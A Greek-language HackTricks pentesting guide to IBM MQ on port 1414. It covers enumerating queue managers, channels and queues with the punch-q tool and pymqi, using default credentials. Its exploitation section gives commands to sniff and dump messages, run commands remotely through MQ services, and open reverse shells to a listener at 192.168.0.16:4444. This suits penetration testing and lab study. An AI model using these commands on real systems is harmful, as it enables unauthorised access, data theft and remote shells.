hacktricks/network-services-pentesting/1414-pentesting-ibmmq.md

344 lines
24 KiB
Markdown
Raw Normal View History

2024-02-10 22:40:18 +00:00
# 1414 - Ελεγκτική δοκιμή IBM MQ
2023-10-11 23:08:45 +00:00
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** [**💬**](https://emojipedia.org/speech-balloon/) [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφημα**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2023-10-11 23:08:45 +00:00
</details>
2024-02-10 22:40:18 +00:00
## Βασικές πληροφορίες
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
Το IBM MQ είναι μια τεχνολογία της IBM για τη διαχείριση ουρών μηνυμάτων. Όπως και άλλες τεχνολογίες **message broker**, αφορά τη λήψη, αποθήκευση, επεξεργασία και ταξινόμηση πληροφοριών μεταξύ παραγωγών και καταναλωτών.
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
Από προεπιλογή, **εκθέτει τη θύρα TCP 1414 του IBM MQ**.
Μερικές φορές, η HTTP REST API μπορεί να εκτίθεται στη θύρα **9443**.
Οι μετρήσεις (Prometheus) μπορούν επίσης να προσπελαστούν από τη θύρα TCP **9157**.
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
Η θύρα TCP 1414 του IBM MQ μπορεί να χρησιμοποιηθεί για την επεξεργασία μηνυμάτων, ουρών, καναλιών, ... αλλά **και για τον έλεγχο της περίπτωσης**.
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
Η IBM παρέχει μια μεγάλη τεχνική τεκμηρίωση που είναι διαθέσιμη στο [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq).
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
## Εργαλεία
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
Ένα προτεινόμενο εργαλείο για εύκολη εκμετάλλευση είναι το **[punch-q](https://github.com/sensepost/punch-q)**, με χρήση Docker. Το εργαλείο χρησιμοποιεί ενεργά τη βιβλιοθήκη Python `pymqi`.
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
Για μια πιο χειροκίνητη προσέγγιση, χρησιμοποιήστε τη βιβλιοθήκη Python **[pymqi](https://github.com/dsuch/pymqi)**. Χρειάζονται [εξαρτήσεις IBM MQ](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc).
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
### Εγκατάσταση του pymqi
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
Πρέπει να εγκατασταθούν και να φορτωθούν οι **εξαρτήσεις IBM MQ**:
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
1. Δημιουργήστε έναν λογαριασμό (IBMid) στο [https://login.ibm.com/](https://login.ibm.com/).
2. Κατεβάστε τις βιβλιοθήκες IBM MQ από το [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Για το Linux x86_64 είναι το **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**.
3. Αποσυμπιέστε (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
4. Εκτελέστε `sudo ./mqlicense.sh` για να αποδεχτείτε τους όρους των αδειών.
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
>Αν χρησιμοποιείτε Kali Linux, τροποποιήστε το αρχείο `mqlicense.sh`: αφαιρέστε/σχολιάστε τις παρακάτω γραμμές (μεταξύ των γραμμών 105-110):
2023-10-11 23:08:45 +00:00
>
>```bash
2024-02-10 22:40:18 +00:00
>if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
> then
2023-10-11 23:08:45 +00:00
> echo "ERROR: This package is incompatible with this system"
> echo " This package was built for ${BUILD_PLATFORM}"
> exit 1
>fi
>```
2024-02-10 22:40:18 +00:00
5. Εγκαταστήστε αυτά τα πακέτα:
2023-10-11 23:08:45 +00:00
```bash
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
```
2024-02-10 22:40:18 +00:00
6. Στη συνέχεια, προσθέστε προσωρινά τα αρχεία `.so` στο LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **πριν** εκτελέσετε άλλα εργαλεία που χρησιμοποιούν αυτές τις εξαρτήσεις.
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
Στη συνέχεια, μπορείτε να κλωνοποιήσετε το έργο [**pymqi**](https://github.com/dsuch/pymqi): περιέχει ενδιαφέρουσες τμήματα κώδικα, σταθερές, ... Ή μπορείτε να εγκαταστήσετε απευθείας τη βιβλιοθήκη με: `pip install pymqi`.
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
### Χρήση του punch-q
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
#### Με το Docker
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
Απλά χρησιμοποιήστε: `sudo docker run --rm -ti leonjza/punch-q`.
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
#### Χωρίς το Docker
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
Κλωνοποιήστε το έργο [**punch-q**](https://github.com/sensepost/punch-q) και ακολουθήστε τις οδηγίες εγκατάστασης στο αρχείο readme (`pip install -r requirements.txt && python3 setup.py install`).
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
Στη συνέχεια, μπορεί να χρησιμοποιηθεί με την εντολή `punch-q`.
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
## Απαρίθμηση
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
Μπορείτε να προσπαθήσετε να απαριθμήσετε το όνομα του **queue manager, τους χρήστες, τα κανάλια και τις ουρές** με το **punch-q** ή το **pymqi**.
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
### Διαχειριστής ουράς
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
Μερικές φορές, δεν υπάρχει προστασία κατά την ανάκτηση του ονόματος του διαχειριστή ουράς:
2023-10-11 23:08:45 +00:00
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
```
2024-02-10 22:40:18 +00:00
### Κανάλια
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
Το **punch-q** χρησιμοποιεί μια εσωτερική (προσαρμόσιμη) λίστα λέξεων για να βρει υπάρχοντα κανάλια. Παράδειγμα χρήσης:
2023-10-11 23:08:45 +00:00
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
```
2024-02-10 22:40:18 +00:00
Συμβαίνει να υπάρχουν ορισμένες περιπτώσεις όπου οι εγκαταστάσεις IBM MQ αποδέχονται **μη πιστοποιημένα** αιτήματα MQ, οπότε δεν απαιτείται η χρήση `--username / --password`. Φυσικά, τα δικαιώματα πρόσβασης μπορεί να διαφέρουν.
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
Αφού αποκτήσουμε ένα όνομα καναλιού (εδώ: `DEV.ADMIN.SVRCONN`), μπορούμε να απαριθμήσουμε όλα τα υπόλοιπα κανάλια.
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
Η απαρίθμηση μπορεί να γίνει βασικά με το ακόλουθο απόσπασμα κώδικα `code/examples/dis_channels.py` από το **pymqi**:
2023-10-11 23:08:45 +00:00
```python
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
2024-02-10 22:40:18 +00:00
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
2023-10-11 23:08:45 +00:00
except pymqi.MQMIError as e:
2024-02-10 22:40:18 +00:00
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
2023-10-11 23:08:45 +00:00
else:
2024-02-10 22:40:18 +00:00
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
2023-10-11 23:08:45 +00:00
qmgr.disconnect()
```
2024-02-10 22:40:18 +00:00
... Αλλά το **punch-q** επίσης ενσωματώνει αυτό το μέρος (με περισσότερες πληροφορίες!).
Μπορεί να εκτελεστεί με την εντολή:
2023-10-11 23:08:45 +00:00
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
```
2024-02-10 22:40:18 +00:00
### Ουρές
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
Υπάρχει ένα απόσπασμα κώδικα με το **pymqi** (`dis_queues.py`) αλλά το **punch-q** επιτρέπει να ανακτήσετε περισσότερες πληροφορίες σχετικά με τις ουρές:
2023-10-11 23:08:45 +00:00
```bash
2024-02-10 22:40:18 +00:00
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
2023-10-11 23:08:45 +00:00
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
```
2024-02-10 22:40:18 +00:00
## Εκμεταλλευτείτε
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
### Απορροφήστε μηνύματα
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
Μπορείτε να στοχεύσετε ουρά(ς)/κανάλι(α) για να απορροφήσετε/αποθηκεύσετε μηνύματα από αυτά (μη καταστροφική λειτουργία). *Παραδείγματα:*
2023-10-11 23:08:45 +00:00
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
```
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
```
2024-02-10 22:40:18 +00:00
**Μην διστάσετε να επαναλάβετε όλες τις εντοπισμένες ουρές.**
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
### Εκτέλεση κώδικα
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
> Λίγες λεπτομέρειες πριν συνεχίσουμε: Το IBM MQ μπορεί να ελεγχθεί με πολλούς τρόπους: MQSC, PCF, Control Command. Ορισμένες γενικές λίστες μπορούν να βρεθούν στην [τεκμηρίωση του IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Programmable Command Formats***) είναι αυτό που επικεντρωνόμαστε για να αλληλεπιδράσουμε απομακρυσμένα με την περίπτωση. Το **punch-q** και περαιτέρω το **pymqi** βασίζονται σε αλληλεπιδράσεις PCF.
2023-10-11 23:08:45 +00:00
>
2024-02-10 22:40:18 +00:00
> Μπορείτε να βρείτε μια λίστα με εντολές PCF:
> * [Από την τεκμηρίωση του PCF](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), και
> * [από σταθερές τιμές](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
>
> Μια ενδιαφέρουσα εντολή είναι η `MQCMD_CREATE_SERVICE` και η τεκμηρίωσή της είναι διαθέσιμη [εδώ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Παίρνει ως παράμετρο ένα `StartCommand` που δείχνει σε ένα τοπικό πρόγραμμα στην περίπτωση (παράδειγμα: `/bin/sh`).
>
> Υπάρχει επίσης μια προειδοποίηση για την εντολή στα έγγραφα: *"Προσοχή: Αυτή η εντολή επιτρέπει σε έναν χρήστη να εκτελέσει μια αυθαίρετη εντολή με δικαιώματα mqm. Αν δοθούν δικαιώματα για τη χρήση αυτής της εντολής, ένας κακόβουλος ή απρόσεκτος χρήστης μπορεί να ορίσει έναν υπηρεσία που θα προκαλέσει ζημιά στα συστήματα ή τα δεδομένα σας, για παράδειγμα, διαγράφοντας απαραίτητα αρχεία."*
>
> *Σημείωση: πάντα σύμφωνα με την τεκμηρίωση του IBM MQ (Αναφορά Διαχείρισης), υπάρχει επίσης ένα HTTP endpoint στο `/admin/action/qmgr/{qmgrName}/mqsc` για να εκτελέσετε την αντίστοιχη εντολή MQSC για τη δημιουργία υπηρεσίας (`DEFINE SERVICE`). Αυτή η πτυχή δεν καλύπτεται ακόμα εδώ.*
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
Η δημιουργία / διαγραφή υπηρεσίας με το PCF για απομακρυσμένη εκτέλεση προγράμματος μπορεί να γίνει με το **punch-q**:
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
**Παράδειγμα 1**
2023-10-11 23:08:45 +00:00
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
```
2024-02-10 22:40:18 +00:00
> Στα αρχεία καταγραφής του IBM MQ, μπορείτε να διαβάσετε ότι η εντολή εκτελέστηκε με επιτυχία:
>
2023-10-11 23:08:45 +00:00
> ```bash
2024-02-10 22:40:18 +00:00
> 2023-10-10T19:13:01.713Z AMQ5030I: Η εντολή '808544aa7fc94c48' ξεκίνησε. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
2023-10-11 23:08:45 +00:00
> ```
2024-02-10 22:40:18 +00:00
Μπορείτε επίσης να απαριθμήσετε τα υπάρχοντα προγράμματα στον υπολογιστή (εδώ `/bin/doesnotexist` ... δεν υπάρχει):
2023-10-11 23:08:45 +00:00
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
2023-10-11 23:08:45 +00:00
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
```
2024-02-10 22:40:18 +00:00
**Προσοχή, η εκκίνηση του προγράμματος είναι ασύγχρονη. Επομένως, χρειάζεστε ένα δεύτερο στοιχείο για να εκμεταλλευτείτε την ευπάθεια** ***(ακροατής για αντίστροφη κέλυφος, δημιουργία αρχείου σε διαφορετική υπηρεσία, διαρροή δεδομένων μέσω δικτύου ...)***
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
**Παράδειγμα 2**
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
Για εύκολη αντίστροφη κέλυφος, το **punch-q** προτείνει επίσης δύο φορτία αντίστροφου κελύφους:
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
* Ένα με το bash
* Ένα με το perl
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
*Φυσικά μπορείτε να δημιουργήσετε ένα προσαρμοσμένο με την εντολή `execute`.*
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
Για το bash:
2023-10-11 23:08:45 +00:00
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
2024-02-10 22:40:18 +00:00
Για perl:
2023-10-11 23:08:45 +00:00
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
2024-02-10 22:40:18 +00:00
### Προσαρμοσμένο PCF
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
Μπορείτε να εξερευνήσετε την τεκμηρίωση του IBM MQ και να χρησιμοποιήσετε απευθείας τη βιβλιοθήκη **pymqi** της Python για να δοκιμάσετε συγκεκριμένη εντολή PCF που δεν έχει υλοποιηθεί στο **punch-q**.
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
**Παράδειγμα:**
2023-10-11 23:08:45 +00:00
```python
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
2024-02-10 22:40:18 +00:00
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
2023-10-11 23:08:45 +00:00
except pymqi.MQMIError as e:
2024-02-10 22:40:18 +00:00
print("Error")
2023-10-11 23:08:45 +00:00
else:
2024-02-10 22:40:18 +00:00
# Process response
2023-10-11 23:08:45 +00:00
qmgr.disconnect()
```
2024-02-10 22:40:18 +00:00
Εάν δεν μπορείτε να βρείτε τα ονόματα των σταθερών, μπορείτε να ανατρέξετε στην [τεκμηρίωση του IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors).
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
> *Παράδειγμα για το [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Δεκαδικό = 73). Χρειάζεται την παράμετρο `MQCA_CLUSTER_NAME` (Δεκαδικό = 2029) η οποία μπορεί να είναι `*` (Έγγραφο: ):*
>
2023-10-11 23:08:45 +00:00
> ```python
> import pymqi
2024-02-10 22:40:18 +00:00
>
2023-10-11 23:08:45 +00:00
> queue_manager = 'MYQUEUEMGR'
> channel = 'DEV.ADMIN.SVRCONN'
> host = '172.17.0.2'
> port = '1414'
> conn_info = '%s(%s)' % (host, port)
> user = 'admin'
> password = 'passw0rd'
2024-02-10 22:40:18 +00:00
>
2023-10-11 23:08:45 +00:00
> qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
> pcf = pymqi.PCFExecute(qmgr)
2024-02-10 22:40:18 +00:00
>
2023-10-11 23:08:45 +00:00
> try:
> args = {2029: "*"}
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
> except pymqi.MQMIError as e:
2024-02-10 22:40:18 +00:00
> print("Σφάλμα")
2023-10-11 23:08:45 +00:00
> else:
> print(response)
2024-02-10 22:40:18 +00:00
>
2023-10-11 23:08:45 +00:00
> qmgr.disconnect()
> ```
2024-02-10 22:40:18 +00:00
## Περιβάλλον δοκιμής
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
Εάν θέλετε να δοκιμάσετε τη συμπεριφορά και τις εκμεταλλεύσεις του IBM MQ, μπορείτε να δημιουργήσετε ένα τοπικό περιβάλλον βασισμένο σε Docker:
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
1. Έχοντας έναν λογαριασμό στο ibm.com και cloud.ibm.com.
2. Δημιουργήστε έναν ελαττωματικό IBM MQ με:
2023-10-11 23:08:45 +00:00
```bash
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
```
2024-02-10 22:40:18 +00:00
Από προεπιλογή, η πιστοποίηση είναι ενεργοποιημένη, το όνομα χρήστη είναι `admin` και ο κωδικός πρόσβασης είναι `passw0rd` (Μεταβλητή περιβάλλοντος `MQ_ADMIN_PASSWORD`).
Εδώ, το όνομα του διαχειριστή ουράς έχει οριστεί σε `MYQUEUEMGR` (μεταβλητή `MQ_QMGR_NAME`).
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
Θα πρέπει να έχετε το IBM MQ ενεργοποιημένο και να εκτίθενται οι θύρες του:
2023-10-11 23:08:45 +00:00
```bash
sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
```
2024-02-10 22:40:18 +00:00
> Οι παλιές εκδόσεις των εικόνων Docker του IBM MQ βρίσκονται στο: https://hub.docker.com/r/ibmcom/mq/.
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
## Αναφορές
2023-10-11 23:08:45 +00:00
2024-02-10 22:40:18 +00:00
* [Σημειώσεις για το Πρακτικό Έλεγχο Διείσδυσης IBM MQ από τον mgeeky](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
2023-10-11 23:08:45 +00:00
* [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
2024-02-10 22:40:18 +00:00
* [Τεκμηρίωση IBM MQ](https://www.ibm.com/docs/en/ibm-mq)